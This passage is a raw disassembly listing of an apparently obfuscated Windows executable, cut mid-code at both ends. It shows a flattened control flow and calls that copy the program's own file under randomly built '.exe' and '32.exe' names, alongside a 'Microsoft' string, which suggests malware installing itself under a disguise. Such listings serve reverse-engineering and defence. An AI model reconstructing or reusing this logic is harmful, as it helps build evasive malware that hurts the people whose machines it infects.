call fcn.0041e120
add esp, 0xc
mov dword [esi + 0xa48], 0x4a503f88
jmp 0x43a2cd
mov dword [esi + 0xa48], 0xaec73f18
jmp 0x43a2cd
mov eax, dword [esi + 0xa4c]
mov dword [eax], 0
mov dword [esi + 0xa48], 0x34f5e056
jmp 0x43a2cd
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esi + 0xa48], 0xa35bb322
mov dword [esi + 0x204], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xabc]
sub esp, 4
mov dword [esp], eax
call fcn.00402860
add esp, 4
mov ecx, 0x104
mov edx, dword [esi + 0xabc]
mov edi, dword [esi + 0xac4]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x200], ecx
call fcn.00430a10
add esp, 0x10
mov eax, dword [esi + 0xac4]
sub esp, 4
mov dword [esp], eax
call fcn.0043d590
add esp, 4
mov eax, dword [esi + 0xa58]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetEvent]
call eax
mov dword [esi + 0xa48], 0xe311de39
mov dword [esi + 0x1fc], eax
jmp 0x43a2cd
lea eax, [0x52f988]
mov ecx, 0x104
mov edx, dword [esi + 0xaf0]
mov edx, dword [edx]
mov edi, dword [esi + 0xad0]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0x1f8], ecx
call fcn.004023d0
add esp, 0x10
mov dword [esi + 0xa48], 0x76007c21
mov dword [esi + 0x1f4], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa58]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov dword [esi + 0xa48], 0x57a1b18
mov dword [esi + 0x1f0], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xad4]
mov ecx, dword [esi + 0xad0]
sub esp, 0x10
mov edx, esp
mov dword [edx + 8], eax
mov dword [edx], ecx
mov dword [edx + 0xc], 0
mov dword [edx + 4], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call eax
inc eax
mov ecx, dword [esi + 0xaf8]
mov dword [ecx], eax
mov eax, dword [esi + 0xab0]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0x104
call fcn.00452a30
add esp, 8
mov ecx, dword [esi + 0xab0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x1ec], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xafc]
mov dword [ecx], eax
sub esp, 4
mov eax, esp
mov dword [eax], 0
call fcn.00407f50
add esp, 4
mov dword [esi + 0x1e8], edx
mov dword [esi + 0x1e4], eax
call fcn.0043bdf0
mov ecx, dword [esi + 0x1e4]
imul ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0041e78e
add esp, 4
mov dword [esi + 0xa48], 0xceecd540
jmp 0x43a2cd
mov eax, 0
mov ecx, 0x20a
mov edx, dword [esi + 0xabc]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x1e0], eax
mov dword [esi + 0x1dc], ecx
call fcn.0042fb90
add esp, 0xc
mov ecx, 0
mov edx, 0x20a
mov edi, dword [esi + 0xac0]
sub esp, 0xc
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x1d8], eax
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], edx
call fcn.0042fb90
add esp, 0xc
mov ecx, 0x104
mov edx, dword [esi + 0xabc]
sub esp, 8
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esi + 0x1cc], eax
mov dword [esi + 0x1c8], ecx
call fcn.0042bed0
add esp, 8
mov eax, dword [esi + 0xabc]
sub esp, 4
mov dword [esp], eax
call fcn.00402860
add esp, 4
mov ecx, 0x104
mov edx, dword [esi + 0xb24]
mov dword [edx], eax
mov eax, dword [esi + 0xafc]
mov eax, dword [eax]
mov edx, dword [esi + 0xab0]
mov edi, dword [esi + 0xac0]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x1c4], ecx
call fcn.004023d0
add esp, 0x10
mov ecx, 0x5f15c43d
mov edx, dword [esi + 0xb24]
mov edx, dword [edx]
mov edi, dword [esi + 0xabc]
mov ebx, dword [esi + 0xafc]
mov ebx, dword [ebx]
add ecx, 0x104
sub ecx, ebx
sub ecx, 0x5f15c43d
mov ebx, dword [esi + 0xac0]
mov dword [esi + 0x1c0], eax
mov eax, dword [esi + 0xafc]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
call fcn.004023d0
add esp, 0x10
lea ecx, str..exe
mov edx, 4
mov edi, 0
mov ebx, 0x262f2683
mov dword [esi + 0x1bc], eax
mov eax, dword [esi + 0xafc]
mov eax, dword [eax]
add ebx, 0x104
sub ebx, eax
sub ebx, 0x262f2683
mov eax, dword [esi + 0xb24]
mov eax, dword [eax]
sub edi, eax
add ebx, edi
mov eax, dword [esi + 0xac0]
mov edi, dword [esi + 0xafc]
mov edi, dword [edi]
shl edi, 1
add eax, edi
mov edi, dword [esi + 0xb24]
mov edi, dword [edi]
shl edi, 1
add eax, edi
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esi + 0x1b8], edx
call fcn.004023d0
add esp, 0x10
mov dword [esi + 0xa48], 0x8e4e6b51
mov dword [esi + 0x1b4], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xac0]
mov ecx, dword [esi + 0xad4]
sub esp, 0xc
mov edx, esp
mov dword [edx + 4], eax
mov dword [edx], ecx
mov dword [edx + 8], 1
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileW]
call eax
mov dword [esi + 0xa48], 0x22f350d7
mov dword [esi + 0x1b0], eax
jmp 0x43a2cd
mov eax, dword [0x530cd4]
mov ecx, dword [0x530aec]
mov edx, dword [0x530b14]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
mov ebx, dword [esi + 0xa68]
sub esp, 0x18
mov dword [esi + 0x184], eax
mov eax, esp
mov dword [eax + 0x14], ebx
mov dword [eax + 8], ecx
mov dword [eax + 4], edx
mov dword [eax], edi
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 1
mov eax, dword [esi + 0x184]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530afc]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x180], eax
mov eax, dword [esi + 0xa6c]
sub esp, 0x18
mov dword [esi + 0x17c], eax
mov eax, esp
mov dword [esi + 0x178], ecx
mov ecx, dword [esi + 0x17c]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x178]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b00]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x174], eax
mov eax, dword [esi + 0xa70]
sub esp, 0x18
mov dword [esi + 0x170], eax
mov eax, esp
mov dword [esi + 0x16c], ecx
mov ecx, dword [esi + 0x170]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x16c]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530aec]
mov edi, dword [0x530b10]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x168], eax
mov eax, dword [esi + 0xa74]
sub esp, 0x18
mov dword [esi + 0x164], eax
mov eax, esp
mov dword [esi + 0x160], ecx
mov ecx, dword [esi + 0x164]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x160]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530ae0]
mov edi, dword [0x530b20]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x15c], eax
mov eax, dword [esi + 0xa78]
sub esp, 0x18
mov dword [esi + 0x158], eax
mov eax, esp
mov dword [esi + 0x154], ecx
mov ecx, dword [esi + 0x158]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x154]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530aec]
mov edi, dword [0x530b24]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x150], eax
mov eax, dword [esi + 0xa7c]
sub esp, 0x18
mov dword [esi + 0x14c], eax
mov eax, esp
mov dword [esi + 0x148], ecx
mov ecx, dword [esi + 0x14c]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x148]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b30]
mov edi, dword [0x530b28]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x144], eax
mov eax, dword [esi + 0xa80]
sub esp, 0x18
mov dword [esi + 0x140], eax
mov eax, esp
mov dword [esi + 0x13c], ecx
mov ecx, dword [esi + 0x140]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x13c]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b2c]
mov edi, dword [0x530b28]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x138], eax
mov eax, dword [esi + 0xa84]
sub esp, 0x18
mov dword [esi + 0x134], eax
mov eax, esp
mov dword [esi + 0x130], ecx
mov ecx, dword [esi + 0x134]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x130]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b2c]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x12c], eax
mov eax, dword [esi + 0xa88]
sub esp, 0x18
mov dword [esi + 0x128], eax
mov eax, esp
mov dword [esi + 0x124], ecx
mov ecx, dword [esi + 0x128]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 1
mov eax, dword [esi + 0x124]
call eax
mov ecx, dword [0x530cd0]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x120], eax
call ecx
mov ecx, dword [esi + 0xae0]
mov dword [esi + 0x11c], eax
mov dword [esi + 0x118], ecx
call fcn.0041e76b
mov ecx, eax
xor ecx, 0xfffffff0
and ecx, eax
sub esp, 0xc
mov eax, esp
mov edx, dword [esi + 0x118]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
call fcn.0041ec78
add esp, 0xc
mov ecx, dword [esi + 0xae0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x114], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], eax
mov eax, dword [esi + 0xaf0]
mov eax, dword [eax]
mov ecx, eax
inc ecx
mov edx, dword [esi + 0xaf0]
mov dword [edx], ecx
mov ecx, dword [esi + 0xae0]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0xae0]
mov ecx, dword [esi + 0xaf0]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x110], eax
call fcn.0041e76b
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
sub esp, 0xc
mov eax, esp
mov edx, dword [esi + 0x110]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
call fcn.0041ec78
add esp, 0xc
mov ecx, dword [esi + 0xae0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x10c], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], eax
mov eax, dword [esi + 0xaf0]
mov eax, dword [eax]
mov ecx, eax
inc ecx
mov edx, dword [esi + 0xaf0]
mov dword [edx], ecx
mov ecx, dword [esi + 0xae0]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0xae0]
mov ecx, dword [esi + 0xaf0]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x108], eax
call fcn.0041e76b
mov ecx, eax
xor ecx, 0xfffffffa
and ecx, eax
sub esp, 0xc
mov eax, esp
mov edx, dword [esi + 0x108]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
call fcn.0041ec78
add esp, 0xc
mov ecx, dword [esi + 0xae0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x104], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], eax
mov eax, dword [esi + 0xaf0]
mov eax, dword [eax]
mov ecx, eax
neg ecx
mov edx, 1
sub edx, ecx
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], edx
mov ecx, dword [esi + 0xae0]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0xae0]
mov ecx, dword [esi + 0xaf0]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x100], eax
call fcn.0041e76b
mov ecx, eax
xor ecx, 0xfffffff3
and ecx, eax
sub esp, 0xc
mov eax, esp
mov edx, dword [esi + 0x100]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
call fcn.0041ec78
add esp, 0xc
mov ecx, dword [esi + 0xae0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0xfc], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], eax
mov eax, dword [0x4ee494]
movzx eax, byte [eax]
mov ecx, dword [esi + 0xb28]
mov dword [ecx], eax
mov eax, dword [esi + 0xb28]
mov eax, dword [eax]
mov ecx, dword [0x4ee494]
movzx eax, byte [eax + ecx + 1]
mov ecx, dword [esi + 0xb2c]
mov dword [ecx], eax
mov eax, dword [esi + 0xb2c]
mov eax, dword [eax]
mov ecx, dword [0x4ee494]
mov edx, dword [esi + 0xb28]
mov edx, dword [edx]
lea ecx, [ecx + edx + 2]
mov edx, dword [0x4ee494]
inc edx
mov edi, dword [esi + 0xb28]
mov edi, dword [edi]
mov ebx, dword [esi + 0xae8]
sub esp, 0x14
mov dword [esi + 0xf8], eax
mov eax, esp
mov dword [esi + 0xf4], ecx
mov ecx, dword [esi + 0xf8]
mov dword [eax + 0x10], ecx
mov ecx, dword [esi + 0xf4]
mov dword [eax + 0xc], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call fcn.0043ed50
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b08]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0xa8c]
mov dword [ecx], eax
mov eax, dword [0x530cc4]
xor ecx, ecx
mov edx, dword [0x530b38]
mov edi, dword [0x530ae8]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0xf0], eax
mov eax, esp
mov dword [eax + 0xc], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov eax, dword [esi + 0xf0]
call eax
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0xae0]
mov edi, dword [0x530b04]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0xec], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0xab4]
mov edi, dword [0x530aec]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0xe8], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cbc]
mov edx, dword [0x530ae4]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [ebx + 8], 1
mov dword [esi + 0xe4], eax
call ecx
mov ecx, dword [0x530cb8]
mov edx, dword [esi + 0xae8]
mov edi, dword [0x530b34]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0xe0], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0xc], 0x10
call ecx
mov ecx, dword [0x530ccc]
mov edx, dword [0x530b0c]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xdc], eax
call ecx
mov ecx, dword [esi + 0xa90]
mov dword [ecx], eax
mov eax, dword [0x530cb4]
mov ecx, dword [esi + 0xa74]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa74]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xd8], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa7c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xd4], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa7c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xd0], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa90]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xcc], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa6c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xc8], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa6c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xc4], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa70]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xc0], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa70]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xbc], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa68]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xb8], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa88]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xb4], eax
call ecx
mov dword [esi + 0xb0], eax
call fcn.0041e76b
mov ecx, 0
mov edx, 5
xor edi, edi
mov dword [esi + 0xac], edx
mov edx, edi
mov edi, dword [esi + 0xac]
div edi
mov eax, dword [edx*4 + 0x4ee498]
mov edx, dword [esi + 0xaa0]
mov dword [edx], eax
mov eax, dword [esi + 0xaa0]
mov eax, dword [eax]
movzx eax, word [eax]
mov edx, dword [esi + 0xaf4]
mov dword [edx], eax
mov eax, dword [esi + 0xaa0]
mov eax, dword [eax]
movzx eax, word [eax]
mov edx, dword [esi + 0xb30]
mov dword [edx], eax
mov eax, dword [esi + 0xb30]
mov eax, dword [eax]
sub ecx, 1
sub eax, ecx
mov ecx, dword [esi + 0xaa0]
mov ecx, dword [ecx]
movzx eax, word [ecx + eax*2]
mov ecx, dword [esi + 0xb34]
mov dword [ecx], eax
mov eax, dword [esi + 0xb34]
mov eax, dword [eax]
mov ecx, dword [esi + 0xaa0]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xb30]
mov edx, dword [edx]
shl edx, 1
add ecx, edx
add ecx, 4
mov edx, dword [esi + 0xaa0]
mov edx, dword [edx]
add edx, 2
mov ebx, dword [esi + 0xb30]
mov ebx, dword [ebx]
mov edi, dword [esi + 0xaa8]
sub esp, 0x14
mov dword [esp], edi
mov dword [esp + 4], ebx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.00451fe0
add esp, 0x14
mov eax, 0x104
mov ecx, dword [esi + 0xaf4]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xaa8]
mov edi, dword [esi + 0xac8]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esi + 0xa8], eax
call fcn.004023d0
add esp, 0x10
lea ecx, str..exe
mov edx, 4
mov edi, 0x104
mov ebx, dword [esi + 0xaf4]
mov ebx, dword [ebx]
sub edi, 0xdd859e8e
sub edi, ebx
add edi, 0xdd859e8e
mov ebx, dword [esi + 0xac8]
mov dword [esi + 0xa4], eax
mov eax, dword [esi + 0xaf4]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esi + 0xa0], edx
call fcn.004023d0
add esp, 0x10
mov ecx, 0x104
mov edx, dword [esi + 0xaf4]
mov edx, dword [edx]
mov edi, dword [esi + 0xaa8]
mov ebx, dword [esi + 0xacc]
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0x9c], eax
mov dword [esi + 0x98], ecx
call fcn.004023d0
add esp, 0x10
lea ecx, str.32.exe
mov edx, 6
mov edi, 0
mov ebx, dword [esi + 0xaf4]
mov ebx, dword [ebx]
sub edi, ebx
add edi, 0x104
mov ebx, dword [esi + 0xacc]
mov dword [esi + 0x94], eax
mov eax, dword [esi + 0xaf4]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 6
mov dword [esi + 0x90], edx
call fcn.004023d0
add esp, 0x10
mov ecx, dword [0x4ee4ac]
movzx ecx, byte [ecx]
mov edx, dword [esi + 0xb38]
mov dword [edx], ecx
mov ecx, dword [esi + 0xb38]
mov ecx, dword [ecx]
add ecx, 0xd81e2307
add ecx, 1
sub ecx, 0xd81e2307
mov edx, dword [0x4ee4ac]
movzx ecx, byte [edx + ecx]
mov edx, dword [esi + 0xb3c]
mov dword [edx], ecx
mov ecx, dword [esi + 0xb3c]
mov ecx, dword [ecx]
mov edx, dword [0x4ee4ac]
mov edi, dword [esi + 0xb38]
add edx, dword [edi]
add edx, 2
mov edi, dword [0x4ee4ac]
add edi, 1
mov ebx, dword [esi + 0xb38]
mov ebx, dword [ebx]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0xaec]
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.0043ed50
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b14]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0xa94]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [esi + 0xac8]
mov edx, dword [0x530aec]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [ebx], edi
call eax
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0xacc]
mov edi, dword [0x530af4]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x88], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc0]
mov edx, dword [0x530af0]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [ebx + 8], str.Microsoft
mov dword [esi + 0x84], eax
call ecx
mov ecx, dword [0x530cb8]
mov edx, dword [esi + 0xaec]
mov edi, dword [0x530b2c]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0x80], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0xc], 0x10
call ecx
mov ecx, dword [0x530ccc]
mov edx, dword [0x530b18]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x7c], eax
call ecx
mov ecx, dword [esi + 0xa98]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [0x530aec]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 0xc
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
mov dword [edi + 8], 0x45e020
call eax
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa98]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x78], eax
call ecx
mov ecx, 0
mov edx, dword [0x4ee4b0]
movzx edx, word [edx]
mov edi, dword [esi + 0xb40]
mov dword [edi], edx
mov edx, dword [esi + 0xb40]
mov edx, dword [edx]
mov edi, ecx
sub edi, edx
mov edx, ecx
sub edx, 1
add edi, edx
sub ecx, edi
mov edx, dword [0x4ee4b0]
movzx ecx, word [edx + ecx*2]
mov edx, dword [esi + 0xb44]
mov dword [edx], ecx
mov ecx, dword [esi + 0xb44]
mov ecx, dword [ecx]
mov edx, dword [0x4ee4b0]
mov edi, dword [esi + 0xb40]
mov edi, dword [edi]
shl edi, 1
add edx, edi
add edx, 4
mov edi, dword [0x4ee4b0]
add edi, 2
mov ebx, dword [esi + 0xb40]
mov ebx, dword [ebx]
mov dword [esi + 0x74], eax
mov eax, dword [esi + 0xae4]
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.00451fe0
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b1c]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0xa9c]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [esi + 0xae4]
mov edx, dword [0x530aec]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [ebx], edi
call eax
mov ecx, dword [0x530cc0]
